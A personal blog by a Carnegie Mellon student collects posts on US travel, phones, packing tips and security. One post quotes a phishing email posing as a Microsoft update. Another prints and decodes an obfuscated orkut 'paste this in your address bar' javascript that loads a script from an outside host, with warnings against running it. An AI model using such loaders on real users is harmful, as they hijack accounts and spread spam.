Nirenjan’s Space

Kartik was talking about traveling in the big bad city of Mumbai. His post prompted me to write a post about traveling in metropolitan cities in USA.

Basically, the public transportation infrastructure in most cities will make seasoned Chennai/Mumbai travelers cringe in horror. (Well, not really, but I’ve seen more frequent 29C buses in Chennai than a 500 bus out here in Pittsburgh). You really need to have a car to get anywhere important.

Having said that, I must still comment that Pittsburgh has one of the best bus networks across the US. Like the Mumbai trains, the buses here follow a rigid schedule (well, mostly). You can pick up a schedule free of cost from any bus, the University Center on the Carnegie Mellon campus also has a number of bus schedules of all buses that pass in the vicinity of the university. These schedules give daily timings, along with major stop points and a map of the route. You can also go online to the website of the Port Authority of Allegheny County and enter your starting location and destination intersections, and the website will automatically give you a few routes which you can follow, along with the timings.

This year’s new features from Google…

• Custom Time - Allows you to send e-mail with timestamps in the past. Hmm… considering mail headers can be spoofed, not particularly unique.
• Wake Up Kit - Guaranteed to make you wake up on time. I think I prefer Clocky…
• Yogurt - Use as directed to find friends online. And all this time, I was thinking yogurt was something you ate…

Make sure you book your flight with at least an hour between connections, or you’ll wind up running the four minute mile in one…

As a big time fan of SuperStar Rajnikanth, I’m quite excited to hear about this latest project.

Dr. Gayathri Shrikanth, a renowned ophthalmologist in Chennai, has written a biography of the Superstar titled “The Name is Rajnikanth”. Due to release in Chennai on the 6th of March, it is priced at Rs. 495.

Read the full article here.

I’ll leave this one up to Ferrari…

http://prabhukrish.net/2008/02/14/valentine-day-forward/

I received a mail today purported to be from Microsoft updates. The mail was just this:

URGENT: Please intall critical Windows XP/2000/2003/Vista update!

Urgent Install Get critical update (obligatory)

Concerned about privacy? When you check for updates, basic information about your computer, not you, is used to determine which updates your programs need. To learn more, see our privacy statement.

Now, the only link present in the original e-mail was the “Get critical update (obligatory)” one. No link to the privacy statement. No link to a Microsoft Security Advisory, nothing. And that link was to another site designed to look exactly like the Microsoft Update website.

The scary thing is that this kind of e-mail is very effective. Most people who don’t have any clue of what is going on would just click on the button, resulting in an installation that would bring in viruses, Trojans, spyware, malware, etcetera, etcetera, etcetera.

That’s why there are a lot of warnings all over. Don’t click on any link in e-mail messages, even if you believe it to be true.

(Or better yet, use Linux)

Of late, I’ve been getting a lot of scraps in orkut like “Paste this text into your address bar. Don’t worry it’s harmless…”

The latest is a pretty interesting one…

javascript:eval(String.fromCharCode(100, 61, 100, 111, 99, 117, 109, 101, 110, 116, 59, 99, 61, 100, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 100, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 99, 41, 59, 99, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 99, 111, 111, 108, 112, 99, 115, 116, 117, 102, 102, 46, 103, 111, 111, 103, 108, 101, 112, 97, 103, 101, 115, 46, 99, 111, 109, 47, 114, 111, 100, 114, 105, 103, 111, 46, 117, 115, 101, 114, 46, 106, 115, 39, 59, 118, 111, 105, 100, 40, 48, 41))

The eval function of JavaScript takes a string and executes it as if it were JavaScript code. The String.fromCharCode function takes a series of numbers and converts it into their corresponding ASCII characters.

A simple one line C program reveals the string behind the integers (line breaks added for easy understanding):

d=document;
c=d.createElement('script');
d.body.appendChild(c);
c.src='http://coolpcstuff.googlepages.com/rodrigo.user.js';
void(0)


This is a pretty simple bit of code that appends the script located at the address shown above to the current document and executes it. Now, when I tried to get the script at the site, I get the message: This site has been disabled for violations of our Program Policies. .

A quick google search for the script file name yielded that the script simply floods your friends scrapbooks with the same message. Apparently harmless. The key word is apparently.

Now, I have a healthy dose of paranoia. I don’t trust any of these scripts unless I write them myself, or at least examine them myself. Now, I have tried to access some of the scripts directly (which should return the script source code without executing it), but the site gives me a permission denied (reason: hotlinking forbidden). That gives me all the more reason to suspect something is amiss.

I still don’t get it why people jump on scripts like this, when the orkut home page advertises (or at least used to) not to run any script when logged onto orkut. So, I’ll put out a simple security advisory.

Don’t run any script while logged into orkut (or for that matter, any website), no matter what it claims to do. For instance, one malicious script could always steal your personal information, even if you have hidden it from your friends. If a script can read your friends list, it can read anything.

I bought a bluetooth headset for my Nokia phone over a year ago…

The HS-26W was plagued with problems from the day I bought it. A week later the gadget died. Since it was just a week since I bought it, I managed to get it replaced with an identical piece. Two months later, that died.

I took that piece to the Nokia service center on Mount Road. They told me that they could not repair it and would replace it. Fine, I said, but the replacement took another two months to arrive. Two weeks later, the replacement gave up.

Finally, when I went back home last month, I managed to return it and get a refund on the product.

Come on, I can expect one piece to fail, but all the replacement pieces as well???

When I left India, I had to go through Immigration, get a stamp in my passport and all that stuff. When I left the US, I just had to surrender my I-94, and that too at the airline check-in counter.

On my flight home from Brussels to Chennai, I find a safety manual for a Boeing 777-300ER. I was flying in an Airbus A330-200.

As my living in USA series continues, I bring to you the perils of bringing a mobile handset from India.

First of all, a brief background on the technology behind GSM. The simplest way to put it is that your mobile handset is a glorified two-way radio. As you would use a radio to listen to an FM channel on a particular frequency, your mobile phone also listens on a specific frequency (to be precise, a set of frequencies). The GSM standard has allocated 4 bands worldwide, namely the 850 MHz, 900 MHz, 1800 MHz and 1900 MHz bands. All operators in India use the 900 MHz and 1800 MHz bands, while operators in the US use the 850 MHz and 1900 MHz bands. GSM World has some good information regarding the usage of the bands and coverage sorted by operator.

From my perspective, if you are going anywhere on the east coast or in Silicon Valley, you are well off with a decent tri-band phone like the Nokia 6681. Basically, you want to make sure that your phone supports the 1900 MHz band also, since a lot of operators here seem to use that particular band. You are even better off with a quad-band phone. One such phone is the Sony Ericsson W300i.

It is possible to get a phone here. Operators usually bundle a phone free of charge when you buy a plan. Or you can get a phone of your choice, at a discounted rate. The disadvantages that I see with this model are as follows:

• Your phone is tied to the operator. You cannot take your phone from, say AT&T and use it on T-Mobile. This is because there is something called a network lock that is placed on the phone, and usually only the operator can deactivate the lock. However, there exist sites where you can get the phone unlocked, usually for a fee.
• You are tied into a contract for a specified period of time, usually one or two years. If you decide to terminate your contract, you have to pay an early termination fee. From the point of view of the operator, this is normal, since they subsidize the costs of the phone and recover those by having a two year plan or whatever.
• If you are going to be in the US for only a short trip, it is usually not worth getting into a contract. However, there are some pre-paid plans, although I have seen it is not as popular as it is in India. Post-paid is usually the way to go.

I hope this should be enough information for you to make a choice.

This is the first of a series of posts about living on your own. I guess this post would be more useful to a student in the US, but really, anybody could adapt the guidelines that I give to their own needs.

First and foremost, when you are coming to the USA, I have seen people, myself included, pack a whole lot of clothes, foodstuff, cooking utensils, etc., thereby increasing their luggage weight and running the risk of getting charged for overweight luggage.

Let me list the essential stuff required.

• Formal clothes - From what I have seen, formal wear is relatively costly here in the US. So when you come here, do bring a suit and a good pair of formal leather shoes. Don’t forget a matching leather belt, ties, etc.
• Casual wear - As a student, I find myself wearing T-shirts and jeans 99% of the time. And that’s what you’ll find other folks - read Americans - wearing also. Even my advisor can be seen in nothing more than a T-shirt and shorts. The point of this is that you can pick up casual wear here pretty cheaply, and good quality stuff too, at rates somewhere of around 50% or even less of what you might find in India. So cut down on the number of T-shirts that you bring.
• Cooking Utensils - I’m still wondering why I brought enough to stock a restaurant here. Apart from the pressure cooker, you can get almost anything else that you need at a WalMart store.
• Other Utensils - You can again pick them up here for a song.
• Foodstuff - Don’t bother even thinking about bringing 20 kg of rice or dal or whatever. My recommendation is to get spices - although you can also get those here at Indian stores. The only thing that I find missing is the curry leaves (karuveppalai/karipattha). I haven’t found them here yet, although I have heard that they are pretty expensive. If you are new to cooking and don’t know the different types of dals, get some small samples in sealed plastic pouches. You don’t need more than a few grams per sample. You can’t bring any perishables into the USA, and you can pretty much get what you need in any grocery store. Regardless of what you are bringing, make sure it is doubly sealed, to prevent any leaks from ruining your good clothes.
• Electronic Stuff - The problem is that the US decides to do everything different from how India does it. Rather than me trying to explain something in technical terms, I’ll leave that job to this website.
• Mobile Phones - This is yet another problem. You might want to consider buying a phone in the US itself. The problem is that the US has primarily CDMA providers, versus a few GSM providers (GSM is the dominant mobile technology in the Indian market). I have no clue about CDMA phones now, but if I get some information, I will update this page. GSM phones are a different story altogether, and warrant a whole new blog post.

I guess that covers my list for now. If I get any further information, I will update this post.

After a long hiatus, I’m back… with a fizz… and not a bang ;). The usual story, loaded with work, blogger’s block, yada yada yada…

Anyway, to keep you dedicated readers updated, I’m now in the “land of dreams”, to be precise, I’m in Pittsburgh, PA, to get even more precise, I’m doing my masters in embedded systems engineering at Carnegie Mellon University.

After coming here, I realize that my experience with traveling, cooking, housekeeping, etc. could be very useful to a lot of other people. Let’s first start of with cooking - it’s not all that most people hype it up to be… it’s damn simple, even a kid could do it; however, it does take time. That is the only trouble.

Traveling - depends on where you are. Pittsburgh has one of the best public transportation networks in the USA, and you can even go online and plan your bus trips. I hear quite a few other cities have a good transportation network as well, though I haven’t been anywhere yet to comment on them.

Housekeeping - now comes the hard part, but I kid. Assuming that you rent an apartment, you would usually look for one that has all features, namely microwave, dishwasher, laundry, etc. So there go the majority of the chores, save mopping the floor/vacuuming the carpet.

Shopping - you would pretty much find everything you need here.

Future posts would concentrate on individual topics…

A really funny letter by John Cleese.

Courtesy Sudhir

Alternative Link

This movie’s gonna ROCK!!!